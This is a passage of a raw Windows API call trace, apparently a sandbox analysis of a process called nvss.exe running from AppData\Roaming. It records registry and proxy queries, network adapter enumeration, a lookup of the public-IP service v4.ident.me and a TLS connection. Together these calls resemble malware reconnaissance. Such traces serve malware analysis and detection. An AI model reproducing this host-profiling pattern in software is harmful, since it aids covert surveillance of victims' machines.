lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config", lpFilePart=0x0) returned 0x31 [0065.469] GetCurrentProcess () returned 0xffffffff [0065.470] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ed18 | out: TokenHandle=0x603ed18*=0x330) returned 1 [0065.471] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x603e808, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0065.479] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x603ed08 | out: lpFileInformation=0x603ed08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0cc4300, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xd3d6f890, ftLastAccessTime.dwHighDateTime=0x1d2ec0b, ftLastWriteTime.dwLowDateTime=0xc0cc4300, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0065.479] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x603e7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0065.479] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x603ed10 | out: lpFileInformation=0x603ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0cc4300, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xd3d6f890, ftLastAccessTime.dwHighDateTime=0x1d2ec0b, ftLastWriteTime.dwLowDateTime=0xc0cc4300, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0065.479] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x603e764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0065.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x603ec40) returned 1 [0065.480] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x348 [0065.480] GetFileType (hFile=0x348) returned 0x1 [0065.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x603ec3c) returned 1 [0065.480] GetFileType (hFile=0x348) returned 0x1 [0065.513] GetFileSize (in: hFile=0x348, lpFileSizeHigh=0x603ecf0 | out: lpFileSizeHigh=0x603ecf0*=0x0) returned 0x8c8f [0065.513] ReadFile (in: hFile=0x348, lpBuffer=0x2616f44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x603ecac, lpOverlapped=0x0 | out: lpBuffer=0x2616f44*, lpNumberOfBytesRead=0x603ecac*=0x1000, lpOverlapped=0x0) returned 1 [0065.523] ReadFile (in: hFile=0x348, lpBuffer=0x2616f44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x603eb64, lpOverlapped=0x0 | out: lpBuffer=0x2616f44*, lpNumberOfBytesRead=0x603eb64*=0x1000, lpOverlapped=0x0) returned 1 [0065.524] ReadFile (in: hFile=0x348, lpBuffer=0x2616f44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x603e9f0, lpOverlapped=0x0 | out: lpBuffer=0x2616f44*, lpNumberOfBytesRead=0x603e9f0*=0x1000, lpOverlapped=0x0) returned 1 [0065.525] ReadFile (in: hFile=0x348, lpBuffer=0x2616f44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x603e9f0, lpOverlapped=0x0 | out: lpBuffer=0x2616f44*, lpNumberOfBytesRead=0x603e9f0*=0x1000, lpOverlapped=0x0) returned 1 [0065.525] ReadFile (in: hFile=0x348, lpBuffer=0x2616f44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x603e9f0, lpOverlapped=0x0 | out: lpBuffer=0x2616f44*, lpNumberOfBytesRead=0x603e9f0*=0x1000, lpOverlapped=0x0) returned 1 [0065.525] ReadFile (in: hFile=0x348, lpBuffer=0x2616f44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x603e900, lpOverlapped=0x0 | out: lpBuffer=0x2616f44*, lpNumberOfBytesRead=0x603e900*=0x1000, lpOverlapped=0x0) returned 1 [0065.528] ReadFile (in: hFile=0x348, lpBuffer=0x2616f44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x603eb24, lpOverlapped=0x0 | out: lpBuffer=0x2616f44*, lpNumberOfBytesRead=0x603eb24*=0x1000, lpOverlapped=0x0) returned 1 [0065.529] ReadFile (in: hFile=0x348, lpBuffer=0x2616f44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x603ea08, lpOverlapped=0x0 | out: lpBuffer=0x2616f44*, lpNumberOfBytesRead=0x603ea08*=0x1000, lpOverlapped=0x0) returned 1 [0065.529] ReadFile (in: hFile=0x348, lpBuffer=0x2616f44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x603ea08, lpOverlapped=0x0 | out: lpBuffer=0x2616f44*, lpNumberOfBytesRead=0x603ea08*=0xc8f, lpOverlapped=0x0) returned 1 [0065.530] ReadFile (in: hFile=0x348, lpBuffer=0x2616f44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x603eab4, lpOverlapped=0x0 | out: lpBuffer=0x2616f44*, lpNumberOfBytesRead=0x603eab4*=0x0, lpOverlapped=0x0) returned 1 [0065.530] CloseHandle (hObject=0x348) returned 1 [0065.530] GetCurrentProcess () returned 0xffffffff [0065.530] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ee70 | out: TokenHandle=0x603ee70*=0x348) returned 1 [0065.531] GetCurrentProcess () returned 0xffffffff [0065.531] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ee70 | out: TokenHandle=0x603ee70*=0x340) returned 1 [0065.531] GetCurrentProcess () returned 0xffffffff [0065.531] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ed18 | out: TokenHandle=0x603ed18*=0x34c) returned 1 [0065.531] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\nvss.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x603ed08 | out: lpFileInformation=0x603ed08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0065.531] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config", nBufferLength=0x105, lpBuffer=0x603e7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config", lpFilePart=0x0) returned 0x31 [0065.531] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\nvss.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x603ed10 | out: lpFileInformation=0x603ed10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0065.532] GetCurrentProcess () returned 0xffffffff [0065.532] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ee70 | out: TokenHandle=0x603ee70*=0x350) returned 1 [0065.532] GetCurrentProcess () returned 0xffffffff [0065.532] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ee70 | out: TokenHandle=0x603ee70*=0x354) returned 1 [0065.538] GetCurrentProcess () returned 0xffffffff [0065.538] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ec70 | out: TokenHandle=0x603ec70*=0x358) returned 1 [0065.548] GetCurrentProcess () returned 0xffffffff [0065.548] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ec80 | out: TokenHandle=0x603ec80*=0x35c) returned 1 [0065.564] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x360 [0065.564] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x364 [0065.566] GetCurrentProcess () returned 0xffffffff [0065.566] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ec68 | out: TokenHandle=0x603ec68*=0x368) returned 1 [0065.568] GetCurrentProcess () returned 0xffffffff [0065.568] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ec78 | out: TokenHandle=0x603ec78*=0x36c) returned 1 [0065.572] QueryPerformanceFrequency (in: lpFrequency=0x276488 | out: lpFrequency=0x276488) returned 1 [0065.572] QueryPerformanceCounter (in: lpPerformanceCount=0x603f044 | out: lpPerformanceCount=0x603f044*=375737482) returned 1 [0065.574] GetCurrentProcess () returned 0xffffffff [0065.574] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ec34 | out: TokenHandle=0x603ec34*=0x370) returned 1 [0065.576] GetCurrentProcess () returned 0xffffffff [0065.576] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ec44 | out: TokenHandle=0x603ec44*=0x374) returned 1 [0065.595] GetCurrentProcess () returned 0xffffffff [0065.596] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ec48 | out: TokenHandle=0x603ec48*=0x378) returned 1 [0065.597] GetCurrentProcess () returned 0xffffffff [0065.597] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ec58 | out: TokenHandle=0x603ec58*=0x37c) returned 1 [0065.599] GetCurrentProcess () returned 0xffffffff [0065.599] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ef30 | out: TokenHandle=0x603ef30*=0x380) returned 1 [0065.606] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x603e064 | out: phkResult=0x603e064*=0x384) returned 0x0 [0065.606] RegQueryValueExW (in: hKey=0x384, lpValueName="InstallationType", lpReserved=0x0, lpType=0x603e084, lpData=0x0, lpcbData=0x603e080*=0x0 | out: lpType=0x603e084*=0x1, lpData=0x0, lpcbData=0x603e080*=0xe) returned 0x0 [0065.606] RegQueryValueExW (in: hKey=0x384, lpValueName="InstallationType", lpReserved=0x0, lpType=0x603e084, lpData=0x2638e90, lpcbData=0x603e080*=0xe | out: lpType=0x603e084*=0x1, lpData="Client", lpcbData=0x603e080*=0xe) returned 0x0 [0065.606] RegCloseKey (hKey=0x384) returned 0x0 [0065.616] CoTaskMemAlloc (cb=0xcc0) returned 0x21d078 [0065.616] RasEnumConnectionsW (in: param_1=0x21d078, param_2=0x603ef38, param_3=0x603ef3c | out: param_1=0x21d078, param_2=0x603ef38, param_3=0x603ef3c) returned 0x0 [0065.621] CoTaskMemFree (pv=0x21d078) [0065.624] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x603ed20 | out: lpWSAData=0x603ed20) returned 0 [0065.628] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x3cc [0065.633] setsockopt (s=0x3cc, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0065.633] closesocket (s=0x3cc) returned 0 [0065.633] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x3cc [0065.635] setsockopt (s=0x3cc, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0065.635] closesocket (s=0x3cc) returned 0 [0065.635] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3cc [0065.636] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3d0 [0065.636] ioctlsocket (in: s=0x3cc, cmd=-2147195266, argp=0x603ef40 | out: argp=0x603ef40) returned 0 [0065.636] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3d4 [0065.636] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3d8 [0065.636] ioctlsocket (in: s=0x3d4, cmd=-2147195266, argp=0x603ef40 | out: argp=0x603ef40) returned 0 [0065.637] WSAIoctl (in: s=0x3cc, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x603ef24, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x603ef24, lpOverlapped=0x0) returned -1 [0065.637] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x603ec78, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0065.638] WSAEventSelect (s=0x3cc, hEventObject=0x3d0, lNetworkEvents=512) returned 0 [0065.638] WSAIoctl (in: s=0x3d4, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x603ef24, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x603ef24, lpOverlapped=0x0) returned -1 [0065.638] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x603ec78, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0065.638] WSAEventSelect (s=0x3d4, hEventObject=0x3d8, lNetworkEvents=512) returned 0 [0065.638] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3dc [0065.638] RasConnectionNotificationW (param_1=0xffffffff, param_2=0x3dc, param_3=0x3) returned 0x0 [0065.642] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x603ef54 | out: phkResult=0x603ef54*=0x3f4) returned 0x0 [0065.643] RegOpenKeyExW (in: hKey=0x3f4, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x603ef08 | out: phkResult=0x603ef08*=0x3f8) returned 0x0 [0065.643] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3fc [0065.643] RegNotifyChangeKeyValue (hKey=0x3f8, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3fc, fAsynchronous=1) returned 0x0 [0065.644] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x603ef0c | out: phkResult=0x603ef0c*=0x404) returned 0x0 [0065.644] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x408 [0065.644] RegNotifyChangeKeyValue (hKey=0x404, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x408, fAsynchronous=1) returned 0x0 [0065.644] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x603ef0c | out: phkResult=0x603ef0c*=0x40c) returned 0x0 [0065.644] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x410 [0065.644] RegNotifyChangeKeyValue (hKey=0x40c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x410, fAsynchronous=1) returned 0x0 [0065.644] GetCurrentProcess () returned 0xffffffff [0065.644] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603eefc | out: TokenHandle=0x603eefc*=0x414) returned 1 [0065.656] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x1, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x208328 [0065.678] WinHttpSetTimeouts (hInternet=0x208328, nResolveTimeout=60000, nConnectTimeout=60000, nSendTimeout=60000, nReceiveTimeout=60000) returned 1 [0065.678] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x603ef08 | out: pProxyConfig=0x603ef08) returned 1 [0065.708] GetCurrentProcess () returned 0xffffffff [0065.708] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ec10 | out: TokenHandle=0x603ec10*=0x468) returned 1 [0065.709] GetCurrentProcess () returned 0xffffffff [0065.709] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ec20 | out: TokenHandle=0x603ec20*=0x45c) returned 1 [0065.713] SetEvent (hEvent=0x360) returned 1 [0065.727] GetCurrentProcess () returned 0xffffffff [0065.727] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603eb70 | out: TokenHandle=0x603eb70*=0x480) returned 1 [0065.728] GetCurrentProcess () returned 0xffffffff [0065.728] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603eb80 | out: TokenHandle=0x603eb80*=0x484) returned 1 [0065.728] SetEvent (hEvent=0x360) returned 1 [0065.734] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x603ee7c | out: pFixedInfo=0x0, pOutBufLen=0x603ee7c) returned 0x6f [0065.747] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x2376a0 [0065.747] GetNetworkParams (in: pFixedInfo=0x2376a0, pOutBufLen=0x603ee7c | out: pFixedInfo=0x2376a0, pOutBufLen=0x603ee7c) returned 0x0 [0065.754] LocalFree (hMem=0x2376a0) returned 0x0 [0065.755] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x498 [0065.756] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x494 [0065.757] GetAddrInfoW (in: pNodeName="v4.ident.me", pServiceName=0x0, pHints=0x603ed90*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x603ed38 | out: ppResult=0x603ed38*=0x226758*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="v4.ident.me", ai_addr=0x2369b0*(sa_family=2, sin_port=0x0, sin_addr="176.58.123.25"), ai_next=0x0)) returned 0 [0065.784] FreeAddrInfoW (pAddrInfo=0x226758*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="v4.ident.me", ai_addr=0x2369b0*(sa_family=2, sin_port=0x0, sin_addr="176.58.123.25"), ai_next=0x0)) [0065.785] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4a0 [0065.785] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4a8 [0065.785] ioctlsocket (in: s=0x4a0, cmd=-2147195266, argp=0x603ed6c | out: argp=0x603ed6c) returned 0 [0065.785] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4ac [0065.785] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4b0 [0065.785] ioctlsocket (in: s=0x4ac, cmd=-2147195266, argp=0x603ed6c | out: argp=0x603ed6c) returned 0 [0065.785] WSAIoctl (in: s=0x4a0, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x603ed50, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x603ed50, lpOverlapped=0x0) returned -1 [0065.785] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x603eaa4, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0065.786] WSAEventSelect (s=0x4a0, hEventObject=0x4a8, lNetworkEvents=512) returned 0 [0065.786] WSAIoctl (in: s=0x4ac, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x603ed50, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x603ed50, lpOverlapped=0x0) returned -1 [0065.786] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x603eaa4, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0065.786] WSAEventSelect (s=0x4ac, hEventObject=0x4b0, lNetworkEvents=512) returned 0 [0065.786] GetAdaptersAddresses () returned 0x6f [0065.791] LocalAlloc (uFlags=0x0, uBytes=0xa54) returned 0x23bd08 [0065.791] GetAdaptersAddresses () returned 0x0 [0065.798] LocalFree (hMem=0x23bd08) returned 0x0 [0065.799] WSAConnect (in: s=0x498, name=0x2641cbc*(sa_family=2, sin_port=0x1bb, sin_addr="176.58.123.25"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0065.837] closesocket (s=0x494) returned 0 [0065.849] EnumerateSecurityPackagesW (in: pcPackages=0x603ecd8, ppPackageInfo=0x603ec6c | out: pcPackages=0x603ecd8, ppPackageInfo=0x603ec6c) returned 0x0 [0065.852] FreeContextBuffer (in: pvContextBuffer=0x230ec8 | out: pvContextBuffer=0x230ec8) returned 0x0 [0065.862] GetCurrentProcess () returned 0xffffffff [0065.862] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x603ea68 | out: TokenHandle=0x603ea68*=0x494) returned 1 [0065.863] AcquireCredentialsHandleW (in: pPrincipal=0x0, pPackage=0x264536c, fCredentialUse=0x2, pvLogonId=0x0, pAuthData=0x603eab4, pGetKeyFn=0x0, pvGetKeyArgument=0x0, phCredential=0x26468b4, ptsExpiry=0x603ea38 | out: phCredential=0x26468b4, ptsExpiry=0x603ea38) returned 0x0 [0065.968] InitializeSecurityContextW (in: phCredential=0x603eab0, phContext=0x0, pTargetName=0x263288c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x0, Reserved2=0x0, phNewContext=0x2646e08, pOutput=0x2646da0, pfContextAttr=0x2645340, ptsExpiry=0x603eaa8 | out: phNewContext=0x2646e08, pOutput=0x2646da0, pfContextAttr=0x2645340, ptsExpiry=0x603eaa8) returned 0x90312 [0065.969] FreeContextBuffer (in: pvContextBuffer=0x1e3a00 | out: pvContextBuffer=0x1e3a00) returned 0x0 [0065.970] send (in: s=0x498, buf=0x2646e1c*, len=115, flags=0 | out: buf=0x2646e1c*) returned 115 [0065.970] recv (in: s=0x498, buf=0x2646e1c, len=5, flags=0 | out: buf=0x2646e1c*) returned 5 [0066.009] recv (in: s=0x498, buf=0x2646e21, len=85, flags=0 | out: buf=0x2646e21*) returned 85 [0066.009] InitializeSecurityContextW (in: phCredential=0x603ea14, phContext=0x603ea9c, pTargetName=0x263288c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x2649b7c, Reserved2=0x0, phNewContext=0x2646e08, pOutput=0x2649b90, pfContextAttr=0x2645340, ptsExpiry=0x603ea0c | out: phNewContext=0x2646e08, pOutput=0x2649b90, pfContextAttr=0x2645340, ptsExpiry=0x603ea0c) returned 0x90312 [0066.009] recv (in: s=0x498, buf=0x2649c20, len=5, flags=0 | out: buf=0x2649c20*) returned 5 [0066.010] recv (in: s=0x498, buf=0x2649c39, len=2498, flags=0 | out: buf=0x2649c39*) returned 2498 [0066.010] InitializeSecurityContextW (in: phCredential=0x603e97c, phContext=0x603ea04, pTargetName=0x263288c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x264a670, Reserved2=0x0, phNewContext=0x2646e08, pOutput=0x264a684, pfContextAttr=0x2645340, ptsExpiry=0x603e974 | out: phNewContext=0x2646e08, pOutput=0x264a684, pfContextAttr=0x2645340, ptsExpiry=0x603e974) returned 0x90312 [0066.054] recv (in: s=0x498, buf=0x264f300, len=5, flags=0 | out: buf=0x264f300*) returned 5 [0066.054] recv (in: s=0x498, buf=0x264f319, len=4, flags=0 | out: buf=0x264f319*) returned 4 [0066.054] InitializeSecurityContextW (in: phCredential=0x603e8e4, phContext=0x603e96c, pTargetName=0x263288c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x264f394, Reserved2=0x0, phNewContext=0x2646e08, pOutput=0x264f3a8, pfContextAttr=0x2645340, ptsExpiry=0x603e8dc | out: phNewContext=0x2646e08, pOutput=0x264f3a8, pfContextAttr=0x2645340, ptsExpiry=0x603e8dc) returned 0x90312 [0066.055] FreeContextBuffer (in: pvContextBuffer=0x21cab8 | out: pvContextBuffer=0x21cab8) returned 0x0 [0066.055] send (in: s=0x498, buf=0x264f424*, len=326, flags=0 | out: buf=0x264f424*) returned 326 [0066.055] recv (in: s=0x498, buf=0x264f424, len=5, flags=0 | out: buf=0x264f424*) returned 5 [0066.094] recv (in: s=0x498, buf=0x264f429, len=1, flags=0 | out: buf=0x264f429*) returned 1 [0066.094] InitializeSecurityContextW (in: phCredential=0x603e84c, phContext=0x603e8d4, pTargetName=0x263288c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x264f5f4, Reserved2=0x0, phNewContext=0x2646e08, pOutput=0x264f608, pfContextAttr=0x2645340, ptsExpiry=0x603e844 | out: phNewContext=0x2646e08, pOutput=0x264f608, pfContextAttr=0x2645340, ptsExpiry=0x603e844) returned 0x90312 [0066.094] recv (in: s=0x498, buf=0x264f698, len=5, flags=0 | out: buf=0x264f698*) returned 5 [0066.095] recv (in: s=0x498, buf=0x264f6b1, len=48, flags=0 | out: buf=0x264f6b1*) returned 48 [0066.095] InitializeSecurityContextW (in: phCredential=0x603e7b4, phContext=0x603e83c, pTargetName=0x263288c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x264f758, Reserved2=0x0, phNewContext=0x2646e08, pOutput=0x264f76c, pfContextAttr=0x2645340, ptsExpiry=0x603e7ac | out: phNewContext=0x2646e08, pOutput=0x264f76c, pfContextAttr=0x2645340, ptsExpiry=0x603e7ac) returned 0x0 [0066.167] QueryContextAttributesW (in: phContext=0x2646e08, ulAttribute=0x4, pBuffer=0x264f818 | out: pBuffer=0x264f818) returned 0x0 [0066.167] QueryContextAttributesW (in: phContext=0x2646e08, ulAttribute=0x5a, pBuffer=0x264f870 | out: pBuffer=0x264f870) returned 0x0 [0066.171] QueryContextAttributesW (in: phContext=0x2646e08, ulAttribute=0x53, pBuffer=0x264fb24 | out: pBuffer=0x264fb24) returned 0x0 [0066.229] CertDuplicateCRLContext (pCrlContext=0x238820) returned 0x238820 [0066.229] CertDuplicateStore (hCertStore=0x1deb08) returned 0x1deb08 [0066.230] CertEnumCertificatesInStore (hCertStore=0x1deb08, pPrevCertContext=0x0) returned 